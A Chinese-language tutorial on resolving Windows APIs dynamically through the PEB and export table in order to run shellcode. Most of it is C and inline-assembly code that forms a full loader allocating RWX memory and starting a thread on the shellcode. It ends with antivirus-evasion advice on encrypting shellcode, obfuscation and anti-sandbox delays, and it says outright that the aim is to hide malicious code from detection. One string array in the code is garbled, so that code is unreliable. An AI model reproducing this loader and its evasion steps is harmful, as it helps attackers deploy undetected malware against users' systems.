动态获取API执行shelcode
字数 942 2025-08-29 08:31:53
通过PEB动态获取API执行Shellcode技术详解
前言
本文详细讲解如何从进程的TEB获取PEB,再从PEB中的LDR模块链表获取Kernel32.dll模块基址,然后通过解析PE文件结构动态获取API函数地址,最终执行Shellcode的技术。这种方法可以隐藏IAT表,提高恶意代码的隐蔽性。
技术原理
1. PEB和TEB结构
- TEB (Thread Environment Block): 线程环境块,每个线程都有一个TEB
- PEB (Process Environment Block): 进程环境块,包含进程信息
- 通过FS寄存器可以访问TEB,TEB偏移0x30处存储PEB指针
2. PEB_LDR_DATA结构
PEB偏移0x0C处存储LDR信息,LDR包含三个双向链表:
- InLoadOrderModuleList: 按加载顺序排列的模块列表
- InMemoryOrderModuleList: 按内存顺序排列的模块列表
- InInitializationOrderModuleList: 按初始化顺序排列的模块列表
3. PE文件结构
PE文件由以下几部分组成:
- DOS头
- NT头(PE头)
- 文件头
- 可选头
- 节表
- 节数据
DOS头结构
typedef struct _IMAGE_DOS_HEADER {
WORD e_magic; // "MZ"标识
// ...其他成员...
LONG e_lfanew; // 指向PE头的偏移
} IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;
NT头结构
typedef struct _IMAGE_NT_HEADERS {
DWORD Signature; // "PE\0\0"
IMAGE_FILE_HEADER FileHeader;
IMAGE_OPTIONAL_HEADER32 OptionalHeader;
} IMAGE_NT_HEADERS32, *PIMAGE_NT_HEADERS32;
导出表结构
typedef struct _IMAGE_EXPORT_DIRECTORY {
DWORD Characteristics;
DWORD TimeDateStamp;
WORD MajorVersion;
WORD MinorVersion;
DWORD Name;
DWORD Base;
DWORD NumberOfFunctions;
DWORD NumberOfNames;
DWORD AddressOfFunctions; // 函数地址表
DWORD AddressOfNames; // 函数名称表
DWORD AddressOfNameOrdinals; // 函数序号表
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;
实现步骤
1. 获取PEB地址
DWORD GetPeb() {
_PEB_LDR_DATA* Ldr;
_asm {
push eax
push ebx
xor eax, eax
xor ebx, ebx
mov eax, fs:[0x30] // TEB偏移0x30处是PEB
mov ebx, [eax + 0x0C] // PEB偏移0x0C处是LDR
mov Ldr, ebx
pop ebx
pop eax
}
return (DWORD)Ldr;
}
2. 获取Kernel32.dll模块基址
DWORD GetKenel32(DWORD Ldr) {
char funcName[] = {'K',0,'e',0,'l',0,'n',0,'e',0,'l','0','3','2',0,'.','0','d','0','l','0','l',0,0,0};
DWORD kernel32Addr = NULL;
_LIST_ENTRY* pBack;
_PEB_LDR_DATA* pLdr = (_PEB_LDR_DATA*)Ldr;
_LDR_DATA_TABLE_ENTRY* pNext;
pBack = &pLdr->InLoadOrderModuleList;
pNext = (_LDR_DATA_TABLE_ENTRY*)pBack->Flink;
while ((int*)pBack != (int*)pNext) {
PCHAR BaseDllName = (PCHAR)pNext->BaseDllName.Buffer;
PCHAR pfuncName = (PCHAR)funcName;
while (*BaseDllName && *BaseDllName == *pfuncName) {
BaseDllName++; pfuncName++;
}
if (*BaseDllName == *pfuncName) {
kernel32Addr = (DWORD)pNext->DllBase;
break;
}
pNext = (_LDR_DATA_TABLE_ENTRY*)pNext->InLoadOrderLinks.Flink;
}
return kernel32Addr;
}
3. 获取函数地址
DWORD GetFuncAddr(HMODULE Module) {
CHAR funcName[] = {'G','e','t','P','r','o','c','A','d','d','r','e','s','s',0};
// 获取DOS头
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)Module;
// 获取NT头
PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((DWORD)dosHeader + dosHeader->e_lfanew);
// 获取导出表
PIMAGE_EXPORT_DIRECTORY exportDirectory = (PIMAGE_EXPORT_DIRECTORY)
((DWORD)dosHeader + ntHeader->OptionalHeader.DataDirectory[0].VirtualAddress);
// 获取三个表
DWORD* AddressOfNames = (DWORD*)((DWORD)dosHeader + exportDirectory->AddressOfNames);
WORD* AddressOfNameOrdinals = (WORD*)((DWORD)dosHeader + exportDirectory->AddressOfNameOrdinals);
DWORD* AddressOfFunctions = (DWORD*)((DWORD)dosHeader + exportDirectory->AddressOfFunctions);
PCHAR pfuncName = funcName;
// 遍历查找函数
for (int i = 0; i < exportDirectory->NumberOfNames; i++) {
PCHAR lpName = (PCHAR)((DWORD)dosHeader + AddressOfNames[i]);
while (*lpName && *lpName == *pfuncName) {
lpName++; pfuncName++;
}
if (*lpName == *pfuncName) {
return (DWORD)((DWORD)dosHeader +
AddressOfFunctions[AddressOfNameOrdinals[i]]);
}
pfuncName = funcName;
}
return 0;
}
4. 主程序执行流程
int main() {
// 1. 获取Kernel32.dll基址
HMODULE hKernel32 = (HMODULE)GetKenel32(GetPeb());
// 2. 获取GetProcAddress函数地址
PGETPROCADDRESS pGetProcAddress = (PGETPROCADDRESS)GetFuncAddr(hKernel32);
// 3. 动态获取其他API
VIRTUALALLOC myVirtualAlloc = (VIRTUALALLOC)pGetProcAddress(hKernel32, "VirtualAlloc");
RTLMOVEMEMORY myRtlMoveMemory = (RTLMOVEMEMORY)pGetProcAddress(hKernel32, "RtlMoveMemory");
CREATETHREAD myCreateThread = (CREATETHREAD)pGetProcAddress(hKernel32, "CreateThread");
WAITFORSINGLEOBJECT myWaitForSingleObject = (WAITFORSINGLEOBJECT)pGetProcAddress(hKernel32, "WaitForSingleObject");
// 4. 执行Shellcode
unsigned char buf[] = "shellcode here";
LPVOID lpMem = myVirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
myRtlMoveMemory(lpMem, buf, sizeof(buf));
HANDLE hThread = myCreateThread(0, 0, (LPTHREAD_START_ROUTINE)lpMem, 0, 0, 0);
myWaitForSingleObject(hThread, INFINITE);
return 0;
}
免杀技巧
-
Shellcode处理:
- 使用异或加密Shellcode
- 使用Base64编码Shellcode
- 运行时解密执行
-
代码混淆:
- 使用不常见的API获取方式
- 添加无用代码干扰分析
- 使用动态计算代替硬编码
-
反沙箱技术:
- 添加环境检测代码
- 延迟执行
- 只在特定条件下触发
总结
本文详细讲解了如何通过PEB获取Kernel32.dll基址,解析PE文件结构动态获取API函数地址,最终执行Shellcode的技术。这种方法具有以下优点:
- 不依赖导入表,隐蔽性高
- 可以绕过部分杀毒软件的静态检测
- 灵活性强,可以动态获取任意API
在实际应用中,还需要结合加密、混淆等技术提高免杀效果。需要注意的是,这种技术常被恶意软件使用,学习时应遵守法律法规,仅用于安全研究和防御目的。